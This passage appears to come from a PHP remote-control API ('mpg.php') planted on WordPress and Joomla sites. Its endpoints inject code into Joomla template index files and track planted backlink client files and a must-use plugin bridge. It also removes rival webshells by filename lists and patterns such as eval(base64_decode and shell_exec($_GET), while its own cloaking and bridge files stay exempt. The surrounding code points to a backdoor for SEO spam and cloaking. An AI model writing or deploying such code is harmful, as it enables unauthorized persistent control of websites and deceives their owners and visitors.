                            $results[] = 'joomla inject: templates/' . $t . '/index.php';
                        }
                    }
                }
            }
        }

        jsonOut(array(
            'ok' => true,
            'injected' => $injected,
            'skipped' => $skipped,
            'results' => $results,
            'siteRoot' => mpg_site_root(),
        ));
    }

    if ($action === 'backlink-status') {
        $root = mpg_site_root();
        $sep = DIRECTORY_SEPARATOR;
        $found = array();
        $langDir = $root . $sep . 'wp-content' . $sep . 'languages';
        if (is_dir($langDir)) {
            foreach ((array) @scandir($langDir) as $f) {
                if (preg_match('/^mpgc-[a-f0-9]{8}\\.php$/i', $f)) {
                    $found[] = 'wp-content/languages/' . $f;
                }
            }
        }
        $mediaDir = $root . $sep . 'media' . $sep . 'vendor';
        if (is_dir($mediaDir)) {
            foreach ((array) @scandir($mediaDir) as $f) {
                if (preg_match('/^mpgc-[a-f0-9]{8}\\.php$/i', $f)) {
                    $found[] = 'media/vendor/' . $f;
                }
            }
        }
        $bridge = $root . $sep . 'wp-content' . $sep . 'mu-plugins' . $sep . 'mpg-locale-bridge.php';
        jsonOut(array(
            'ok' => true,
            'clients' => $found,
            'bridge' => is_file($bridge),
            'bridgePath' => is_file($bridge) ? 'wp-content/mu-plugins/mpg-locale-bridge.php' : null,
            'siteRoot' => $root,
        ));
    }

    // --- Webshell / backdoor temizlik (kerang, webtxt, fooster, gridbox spam, NOX kirletme) ---
    if ($action === 'malware-scan') {
        $findings = mpg_malware_scan_site();
        jsonOut(array(
            'ok' => true,
            'findings' => $findings,
            'count' => count($findings),
            'siteRoot' => mpg_site_root(),
        ));
    }

    if ($action === 'malware-delete' && mpg_request_method() === 'POST') {
        $body = mpg_read_json_body();
        $files = isset($body['files']) && is_array($body['files']) ? $body['files'] : array();
        if (!$files && isset($body['file'])) {
            $files = array((string) $body['file']);
        }
        $deleted = array();
        $failed = array();
        $skipped = array();
        foreach ($files as $rel) {
            $rel = str_replace('\\', '/', ltrim(trim((string) $rel), '/'));
            if ($rel === '') {
                continue;
            }
            $path = mpg_safe_path_for_malware_delete($rel);
            if ($path === null) {
                $skipped[] = array('file' => $rel, 'reason' => 'not_ioc_or_protected');
                continue;
            }
            if (!is_file($path)) {
                $skipped[] = array('file' => $rel, 'reason' => 'missing');
                continue;
            }
            if (@unlink($path)) {
                $deleted[] = $rel;
            } else {
                // icerigi oldur (silinemeyen hostlar)
                if (@file_put_contents($path, "<?php\nhttp_response_code(404);\nexit;\n") !== false) {
                    $deleted[] = $rel . ' (neutralized)';
                } else {
                    $failed[] = array('file' => $rel, 'reason' => 'unlink_failed');
                }
            }
        }
        jsonOut(array(
            'ok' => true,
            'deleted' => $deleted,
            'failed' => $failed,
            'skipped' => $skipped,
            'siteRoot' => mpg_site_root(),
        ));
    }

    if ($action === 'malware-probe') {
        $file = isset($_GET['file']) ? (string) $_GET['file'] : '';
        if ($file === '' && mpg_request_method() === 'POST') {
            $b = mpg_read_json_body();
            $file = isset($b['file']) ? (string) $b['file'] : '';
        }
        $rel = str_replace('\\', '/', ltrim(trim($file), '/'));
        $path = mpg_safe_path_for_malware_delete($rel);
        if ($path === null) {
            // probe icin IOC olmayan yollari da (salt exists) — sadece basename IOC ise
            $path = mpg_malware_resolve_existing($rel);
        }
        if ($path === null) {
            jsonOut(array('ok' => false, 'error' => 'Gecersiz dosya', 'file' => $rel), 400);
        }
        $exists = is_file($path);
        $bytes = $exists ? (int) filesize($path) : 0;
        $sample = '';
        $suspicious = false;
        if ($exists && $bytes > 0 && $bytes < 400000) {
            $sample = (string) @file_get_contents($path, false, null, 0, 4000);
            $suspicious = mpg_malware_content_suspicious($sample);
        }
        jsonOut(array(
            'ok' => true,
            'file' => $rel,
            'exists' => $exists,
            'bytes' => $bytes,
            'suspicious' => $suspicious,
            'ioc' => mpg_malware_is_ioc_rel($rel),
        ));
    }

    jsonOut(array(
        'ok' => false,
        'error' => 'Bilinmeyen action',
        'hint' => 'Eski mpg.php — panelden upgrade-self / mpg yukselt; cloak+backlink+cases bu surumde var.',
        'upgrade' => 'POST ?api=1&action=upgrade-self',
    ), 400);
}

/**
 * Bilinen webshell IOC basename / path kurallari.
 */
function mpg_malware_is_ioc_rel($rel)
{
    $rel = str_replace('\\', '/', ltrim(trim((string) $rel), '/'));
    if ($rel === '' || mpg_str_contains($rel, '..')) {
        return false;
    }
    $name = strtolower(basename($rel));
    $relLower = strtolower($rel);

    // Korumali — asla IOC sayma
    $protected = array(
        'mpg.php', 'wp-config.php', 'xmlrpc.php', 'wp-login.php', 'wp-cron.php',
        'wp-settings.php', 'wp-load.php', 'wp-blog-header.php', 'license.txt', 'readme.html',
        'mpg-googlebot-verify.inc.php', 'mpg-aged-prepend.php', 'mpg-aged-cloak.php',
        'mpg-locale-bridge.php', 'shared-mpg.php',
    );
    if (in_array($name, $protected, true)) {
        return false;
    }
    if ($name === 'index.php' && !preg_match('#(uploads|attachments|cache|tmp|temp)/#', $relLower)) {
        return false; // kok / tema index — ayri NOX temizligi
    }

    $exact = array(
        'kerang.php' => 1, 'kerang.phpp' => 1, 'webtxt.php' => 1, 'fooster1337.php' => 1,
        'bypsser.php' => 1, 'track2.php' => 1, 'auto_wp.php' => 1, 'wpadmin.php' => 1,
        'wp-firewall.php' => 1, 'wp-a-login.php' => 1, 'wp-x-login.php' => 1,
        'wp-admincx.php' => 1, 'wp-con.php' => 1, 'alfa.php' => 1,
        'litespeed_shell.php' => 1, 'photocrati-widget8.php' => 1,
        'ajax-class.php' => 1, 'abstractapibasedmodel.php' => 1,
        'mushr00w_proof.php' => 1, 'dns.php' => 1,
        'abstractapibasedmodel.php' => 1,
    );
    // wp-content/ajax.php (core admin-ajax.php kullanir) — rastgele ajax.php degil
    if ($name === 'ajax.php' && preg_match('#^wp-content/ajax\\.php$#i', $rel)) {
        return true;
    }
    // class-wp.php: WP core wp-includes/class-wp.php HARIC — uploads / kok shell
    if ($name === 'class-wp.php' && !preg_match('#^wp-includes/#', $relLower)) {
        return true;
    }
    if (isset($exact[$name])) {
        return true;
    }

    if (preg_match('/^alaagsih/i', $name)) {
        return true;
    }
    if (preg_match('/^(fooster|kerang|webtxt|bypsser|track2)/i', $name)) {
        return true;
    }
    if (preg_match('/^(dfjvbfgp|hh1|ww2|dp\d+|nm|d2|no|0x2|f3)\\.php$/i', $name)) {
        return true;
    }
    // bob-fm-* / fake plugin shells
    if ($name === 'bob.php' && preg_match('#bob-fm-[a-f0-9]+/#i', $relLower)) {
        return true;
    }
    // nonce.php shell — vendor/WPML Nonce.php DEGIL; sadece kok veya acik shell yollari
    if ($name === 'nonce.php' && !preg_match('#/(vendor|wpml|classes)/#', $relLower)) {
        return true;
    }
    // com_gridbox random attachment shells
    if (preg_match('#com_gridbox/.*/attachments/[a-z0-9]{6,14}\.php$#i', $rel)) {
        return true;
    }
    // sppagebuilder iconfont kerang
    if (preg_match('#com_sppagebuilder/.*/fonts/(kerang|alfa|wp-con|mushr00w)#i', $relLower)) {
        return true;
    }
    // rastgele tema/plugin webshell: klasor + dosya rastgele; bilinen WP dosya adlarini atla
    $wpCommon = array(
        'functions.php' => 1, 'header.php' => 1, 'footer.php' => 1, 'sidebar.php' => 1,
        'index.php' => 1, 'single.php' => 1, 'page.php' => 1, 'style.css' => 1,
        'comments.php' => 1, 'search.php' => 1, 'searchform.php' => 1, 'archive.php' => 1,
        'uninstall.php' => 1, 'compressx.php' => 1,
    );
    if (!isset($wpCommon[$name])
        && preg_match('#wp-content/(themes|plugins)/[a-z0-9]{8,12}/(fooster1337|[a-z0-9]{8,16})\\.php$#i', $rel)) {
        return true;
    }
    return false;
}

function mpg_malware_content_suspicious($content)
{
    $c = (string) $content;
    if ($c === '') {
        return false;
    }
    if (preg_match('/eval\s*\(\s*base64_decode\s*\(/i', $c)) {
        return true;
    }
    if (preg_match('/eval\s*\(\s*gzinflate\s*\(/i', $c)) {
        return true;
    }
    if (preg_match('/(?:assert|create_function)\s*\(\s*\$/i', $c)) {
        return true;
    }
    if (preg_match('/\b(?:shell_exec|passthru|system|proc_open)\s*\(\s*\$_(?:GET|POST|REQUEST)/i', $c)) {
        return true;
    }
    if (preg_match('/FilesMan|WSO\s*shell|b374k|c99shell|r57shell/i', $c)) {
        return true;
    }
    if (preg_match('/NOX-RENDER-V1/i', $c) && preg_match('/eval\s*\(/i', $c)) {
        return true;
    }
    return false;
}

function mpg_malware_resolve_existing($rel)
{
    $rel = str_replace('\\', '/', ltrim(trim((string) $rel), '/'));
    if ($rel === '' || mpg_str_contains($rel, '..')) {
        return null;
    }
    $base = mpg_site_root();
    $baseReal = realpath($base);
    if ($baseReal !== false) {
        $base = $baseReal;
    }
    $full = rtrim(str_replace('/', DIRECTORY_SEPARATOR, $base), DIRECTORY_SEPARATOR)
        . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel);
    $real = realpath($full);
    if ($real === false) {
        return is_file($full) ? $full : null;
    }
    $nReal = mpg_norm_path($real);
    $nBase = mpg_norm_path($base);
    if ($nReal !== $nBase && !mpg_starts_with($nReal, $nBase . DIRECTORY_SEPARATOR)) {
        return null;
    }
    return $real;
}

function mpg_safe_path_for_malware_delete($rel)
{
    if (!mpg_malware_is_ioc_rel($rel)) {
        return null;
    }
    return mpg_malware_resolve_existing($rel);
}

function mpg_malware_scan_site()
{
    $root = mpg_site_root();
    $rootReal = realpath($root);
    if ($rootReal !== false) {
        $root = $rootReal;
    }
    $findings = array();
    $skipDirs = array('node_modules' => 1, '.git' => 1, 'vendor' => 1);

    $maxFiles = 12000;
    $n = 0;
    try {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($root, FilesystemIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST
        );
        $iterator->setMaxDepth(10);
    } catch (Throwable $e) {
        return $findings;
    }

    foreach ($iterator as $fileInfo) {
        if ($n >= $maxFiles) {
            break;
        }
        if (!$fileInfo->isFile()) {
            continue;
        }
        $full = $fileInfo->getPathname();
        $rel = ltrim(str_replace('\\', '/', substr($full, strlen($root))), '/');
        $relLower = strtolower($rel);
        $parts = explode('/', $relLower);
        if (isset($parts[0]) && isset($skipDirs[$parts[0]])) {
            continue;
        }
        $ext = strtolower(pathinfo($full, PATHINFO_EXTENSION));
        if ($ext !== 'php' && $ext !== 'phpp' && $ext !== 'phtml') {
            continue;
        }
        $n++;
        $ioc = mpg_malware_is_ioc_rel($rel);
        // wp-includes: sadece basename IOC (kerang/nonce) — icerik tarama yok
        $inIncludes = isset($parts[0]) && $parts[0] === 'wp-includes';
        $suspicious = false;
        $bytes = (int) $fileInfo->getSize();
        if (!$ioc && !$inIncludes && $bytes > 0 && $bytes < 250000) {
            if (preg_match('#(uploads|attachments|cache|tmp|temp|languages|ai1wm|mu-plugins)/#', $relLower)
                || preg_match('#wp-content/(themes|plugins)/[a-z0-9]{5,14}/#', $relLower)
                || preg_match('#^[^/]+\.php$#', $relLower)
                || preg_match('#wp-admin/#', $relLower)) {
                $head = (string) @file_get_contents($full, false, null, 0, 3500);
                $suspicious = mpg_malware_content_suspicious($head);
            }
        }
        if ($ioc || $suspicious) {
            $findings[] = array(
                'file' => $rel,
                'bytes' => $bytes,
                'ioc' => $ioc,
                'suspicious' => $suspicious,
            );
        }
    }
    return $findings;
}

http_response_code(200);
header('Content-Type: application/json; charset=utf-8');
echo json_encode(array(
    'ok' => true,
    'product' => 'mpg',
    'status' => 'api_ready',
    'message' => 'MPG FM API aktif. Tarayici arayuzu yok — panel ?api=1 + X-MPG-Token ile baglanir.',
    'health' => basename(__FILE__) . '?health=1',
    'ping' => basename(__FILE__) . '?api=1&action=ping (X-MPG-Token gerekli)',
    'php' => PHP_VERSION,
));